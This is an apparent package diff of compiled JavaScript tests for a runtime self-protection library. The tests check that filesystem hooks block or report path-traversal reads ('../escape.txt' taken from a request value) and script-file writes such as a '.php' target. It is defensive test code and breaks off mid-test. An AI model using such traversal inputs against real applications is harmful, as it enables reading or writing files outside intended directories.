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"}
@@ -0,0 +1 @@
1
+ export {};
@@ -0,0 +1,20 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const esm_1 = require("../hooks/esm");
4
+ const namespace = (props) => Object.freeze(Object.assign(Object.create(null), props, { [Symbol.toStringTag]: 'Module' }));
5
+ describe('moduleExports', () => {
6
+ it("gives a CommonJS package's exports object for its ESM namespace", () => {
7
+ const cjs = { Client: function Client() { } };
8
+ expect((0, esm_1.moduleExports)(namespace({ default: cjs }))).toBe(cjs);
9
+ });
10
+ it('leaves CommonJS exports, and namespaces without an object default, as they are', () => {
11
+ const cjs = { Client: function Client() { } };
12
+ expect((0, esm_1.moduleExports)(cjs)).toBe(cjs);
13
+ const esm = namespace({ default: 'text', render: () => '' });
14
+ expect((0, esm_1.moduleExports)(esm)).toBe(esm);
15
+ const noDefault = namespace({ render: () => '' });
16
+ expect((0, esm_1.moduleExports)(noDefault)).toBe(noDefault);
17
+ expect((0, esm_1.moduleExports)(undefined)).toBeUndefined();
18
+ });
19
+ });
20
+ //# sourceMappingURL=esm-exports.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"esm-exports.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/esm-exports.test.ts"],"names":[],"mappings":";;AAAA,sCAA6C;AAE7C,MAAM,SAAS,GAAG,CAAC,KAA8B,EAAE,EAAE,CACnD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;AAE/F,QAAQ,CAAC,eAAe,EAAE,GAAG,EAAE;IAC7B,EAAE,CAAC,iEAAiE,EAAE,GAAG,EAAE;QACzE,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAC/D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gFAAgF,EAAE,GAAG,EAAE;QACxF,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,GAAG,GAAG,SAAS,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAC7D,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,SAAS,GAAG,SAAS,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAClD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;QACjD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;IACnD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
@@ -0,0 +1 @@
1
+ export {};
@@ -0,0 +1,241 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ const fs = require("fs");
37
+ const os_1 = require("os");
38
+ const path_1 = require("path");
39
+ const url_1 = require("url");
40
+ const util_1 = require("util");
41
+ const detect = __importStar(require("../detect"));
42
+ const context_1 = require("../context");
43
+ const engine_1 = require("../engine");
44
+ const types_1 = require("../types");
45
+ const fs_1 = require("../hooks/fs");
46
+ let dir;
47
+ let file;
48
+ const request = (fn) => (0, context_1.runWithInputs)([{ value: '../escape.txt', key: 'query.q', source: 'request' }], fn, { inRequest: true });
49
+ const mode = (value) => (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: value, env: {} });
50
+ const mappings = [
51
+ ['readFile', 'read'], ['readFileSync', 'read'], ['createReadStream', 'read'],
52
+ ['open', 'read'], ['openSync', 'read'], ['writeFile', 'write'], ['writeFileSync', 'write'],
53
+ ['appendFile', 'append'], ['appendFileSync', 'append'], ['createWriteStream', 'write'],
54
+ ['unlink', 'delete'], ['unlinkSync', 'delete'], ['rm', 'delete'], ['rmSync', 'delete'],
55
+ ['rename', 'rename'], ['renameSync', 'rename'], ['readdir', 'list'], ['readdirSync', 'list'],
56
+ ['copyFile', 'read'], ['copyFileSync', 'read'],
57
+ ];
58
+ function invoke(owner, api, values) {
59
+ return Reflect.apply(Reflect.get(owner, api), owner, values);
60
+ }
61
+ beforeEach(() => {
62
+ dir = fs.mkdtempSync((0, path_1.join)((0, os_1.tmpdir)(), 'rasp-fs-'));
63
+ file = (0, path_1.join)(dir, 'fixture.txt');
64
+ fs.writeFileSync(file, 'fixture');
65
+ mode('block');
66
+ (0, engine_1.setEventSink)({ add: () => undefined });
67
+ });
68
+ afterEach(() => {
69
+ (0, fs_1.uninstallFsHooks)();
70
+ jest.restoreAllMocks();
71
+ (0, engine_1.setEventSink)(undefined);
72
+ (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
73
+ fs.rmSync(dir, { recursive: true, force: true });
74
+ });
75
+ describe.each([false, true])('promise owner: %s', promises => {
76
+ test.each(mappings)('%s checks its path before calling the original', async (api, op) => {
77
+ const owner = promises ? fs.promises : fs;
78
+ if (!Object.prototype.hasOwnProperty.call(owner, api))
79
+ return;
80
+ // Replace only the I/O boundary: checking every entry point must not leave
81
+ // pending streams, callbacks, or open descriptors behind.
82
+ const descriptor = Object.getOwnPropertyDescriptor(owner, api);
83
+ const original = jest.fn(() => promises ? Promise.resolve('result') : 'result');
84
+ Object.defineProperty(owner, api, { ...descriptor, value: original });
85
+ try {
86
+ const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
87
+ expect((0, fs_1.installFsHooks)()).toBe(true);
88
+ const target = (0, path_1.join)(dir, 'target.txt');
89
+ const values = api.startsWith('rename') || api.startsWith('copyFile') ? [file, target] : [file, 'r'];
90
+ await request(() => invoke(owner, api, values));
91
+ expect(detector).toHaveBeenCalledWith(file, op, expect.any(Array), [], true);
92
+ if (api.startsWith('rename') || api.startsWith('copyFile')) {
93
+ expect(detector).toHaveBeenCalledWith(target, api.startsWith('copyFile') ? 'write' : 'rename', expect.any(Array), [], true);
94
+ }
95
+ expect(original).toHaveBeenCalledWith(...values);
96
+ }
97
+ finally {
98
+ (0, fs_1.uninstallFsHooks)();
99
+ Object.defineProperty(owner, api, descriptor);
100
+ }
101
+ });
102
+ });
103
+ test('a copy reports the strongest of its two paths', () => {
104
+ (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: 'block', attacks: { path_traversal: 'monitor', file_write: 'block' }, env: {} });
105
+ const original = jest.spyOn(fs, 'copyFileSync');
106
+ jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
107
+ ? { attack: 'path_traversal', rule: 'path.traversal' }
108
+ : { attack: 'file_write', rule: 'file_write.script' });
109
+ (0, fs_1.installFsHooks)();
110
+ expect(() => request(() => fs.copyFileSync(file, (0, path_1.join)(dir, 'copy.txt')))).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
111
+ expect(original).not.toHaveBeenCalled();
112
+ });
113
+ test('a path that lost to a blocked copy is still checked later in the request', () => {
114
+ const original = jest.spyOn(fs, 'writeFileSync');
115
+ jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
116
+ ? { attack: 'path_traversal', rule: 'path.traversal' }
117
+ : { attack: 'file_write', rule: 'file_write.script' });
118
+ (0, fs_1.installFsHooks)();
119
+ const target = (0, path_1.join)(dir, 'copy.php');
120
+ request(() => {
121
+ // Tie: the source wins and blocks; the app catches the error.
122
+ expect(() => fs.copyFileSync(file, target)).toThrow(expect.objectContaining({ rule: 'path.traversal' }));
123
+ expect(() => fs.writeFileSync(target, 'x')).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
124
+ });
125
+ expect(original).not.toHaveBeenCalled();
126
+ });
127
+ test('block is synchronous and never invokes the callback original', () => {
128
+ const original = jest.spyOn(fs, 'readFile');
129
+ (0, fs_1.installFsHooks)();
130
+ expect(() => request(() => fs.readFile(`${dir}/../escape.txt`, () => undefined))).toThrow(types_1.RaspBlockedError);
131
+ expect(original).not.toHaveBeenCalled();
132
+ });
133
+ test('promises reject rather than throwing synchronously', async () => {
134
+ const original = jest.spyOn(fs.promises, 'readFile');
135
+ (0, fs_1.installFsHooks)();
136
+ let result;
137
+ expect(() => { result = request(() => fs.promises.readFile(`${dir}/../escape.txt`)); }).not.toThrow();
138
+ await expect(result).rejects.toBeInstanceOf(types_1.RaspBlockedError);
139
+ expect(original).not.toHaveBeenCalled();
140
+ });
141
+ test('monitor reports and permits actual file I/O', () => {
142
+ mode('monitor');
143
+ const events = jest.fn();
144
+ (0, engine_1.setEventSink)({ add: events });
145
+ const escaped = `${dir}/child/../escape.txt`;
146
+ fs.mkdirSync((0, path_1.join)(dir, 'child'));
147
+ fs.writeFileSync((0, path_1.join)(dir, 'escape.txt'), 'fixture');
148
+ (0, fs_1.installFsHooks)();
149
+ expect(request(() => fs.readFileSync(escaped, 'utf8'))).toBe('fixture');
150
+ expect(events).toHaveBeenCalled();
151
+ });
152
+ test('off skips detection', () => {
153
+ (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
154
+ const detector = jest.spyOn(detect, 'detectPath');
155
+ (0, fs_1.installFsHooks)();
156
+ expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
157
+ expect(detector).not.toHaveBeenCalled();
158
+ });
159
+ test('Buffer and file URL paths normalize; descriptors skip detection', () => {
160
+ const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
161
+ const fd = fs.openSync(file, 'r');
162
+ (0, fs_1.installFsHooks)();
163
+ try {
164
+ fs.readFileSync(Buffer.from(file));
165
+ fs.readFileSync((0, url_1.pathToFileURL)(file));
166
+ expect(detector).toHaveBeenCalledTimes(2);
167
+ fs.readFileSync(fd);
168
+ expect(detector).toHaveBeenCalledTimes(2);
169
+ }
170
+ finally {
171
+ fs.closeSync(fd);
172
+ }
173
+ });
174
+ test.each(['r', 'r+', 'w', 'a', fs.constants.O_RDWR])('open flags %s map to read/write', flags => {
175
+ const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
176
+ (0, fs_1.installFsHooks)();
177
+ const fd = fs.openSync(file, flags);
178
+ fs.closeSync(fd);
179
+ expect(detector.mock.calls[0][1]).toBe(flags === 'r' ? 'read' : 'write');
180
+ });
181
+ test('detector errors fail open and reporter file reads do not recurse', () => {
182
+ const detector = jest.spyOn(detect, 'detectPath').mockImplementation(() => {
183
+ expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
184
+ throw new Error('unavailable');
185
+ });
186
+ (0, fs_1.installFsHooks)();
187
+ expect(fs.readFileSync(file, 'utf8')).toBe('fixture');
188
+ expect(detector).toHaveBeenCalledTimes(1);
189
+ });
190
+ test('promisify performs I/O and cannot bypass blocking', async () => {
191
+ (0, fs_1.installFsHooks)();
192
+ await expect((0, util_1.promisify)(fs.readFile)(file, 'utf8')).resolves.toBe('fixture');
193
+ await expect(request(() => (0, util_1.promisify)(fs.readFile)(`${dir}/../escape.txt`))).rejects.toBeInstanceOf(types_1.RaspBlockedError);
194
+ });
195
+ test('a synchronous read is checked once, not again for the open Node makes inside it', () => {
196
+ const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
197
+ (0, fs_1.installFsHooks)();
198
+ fs.readFileSync(file, 'utf8');
199
+ fs.writeFileSync((0, path_1.join)(dir, 'out.txt'), 'fixture');
200
+ expect(detector.mock.calls.map((c) => c[1])).toEqual(['read', 'write']);
201
+ });
202
+ test('a stream is checked once per request, not again when it opens', async () => {
203
+ const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
204
+ (0, fs_1.installFsHooks)();
205
+ const text = await request(() => new Promise((resolve, reject) => {
206
+ let s = '';
207
+ fs.createReadStream(file, 'utf8')
208
+ .on('data', (c) => (s += c))
209
+ .on('end', () => resolve(s))
210
+ .on('error', reject);
211
+ }));
212
+ expect(text).toBe('fixture');
213
+ expect(detector).toHaveBeenCalledTimes(1);
214
+ });
215
+ test('a blocked write stream is refused before it exists', () => {
216
+ const original = jest.spyOn(fs, 'createWriteStream');
217
+ (0, fs_1.installFsHooks)();
218
+ expect(() => request(() => fs.createWriteStream(`${dir}/../escape.txt`))).toThrow(types_1.RaspBlockedError);
219
+ expect(original).not.toHaveBeenCalled();
220
+ });
221
+ test('installation is idempotent and restores exact descriptors', () => {
222
+ const saved = [fs, fs.promises].flatMap(owner => mappings.flatMap(([api]) => {
223
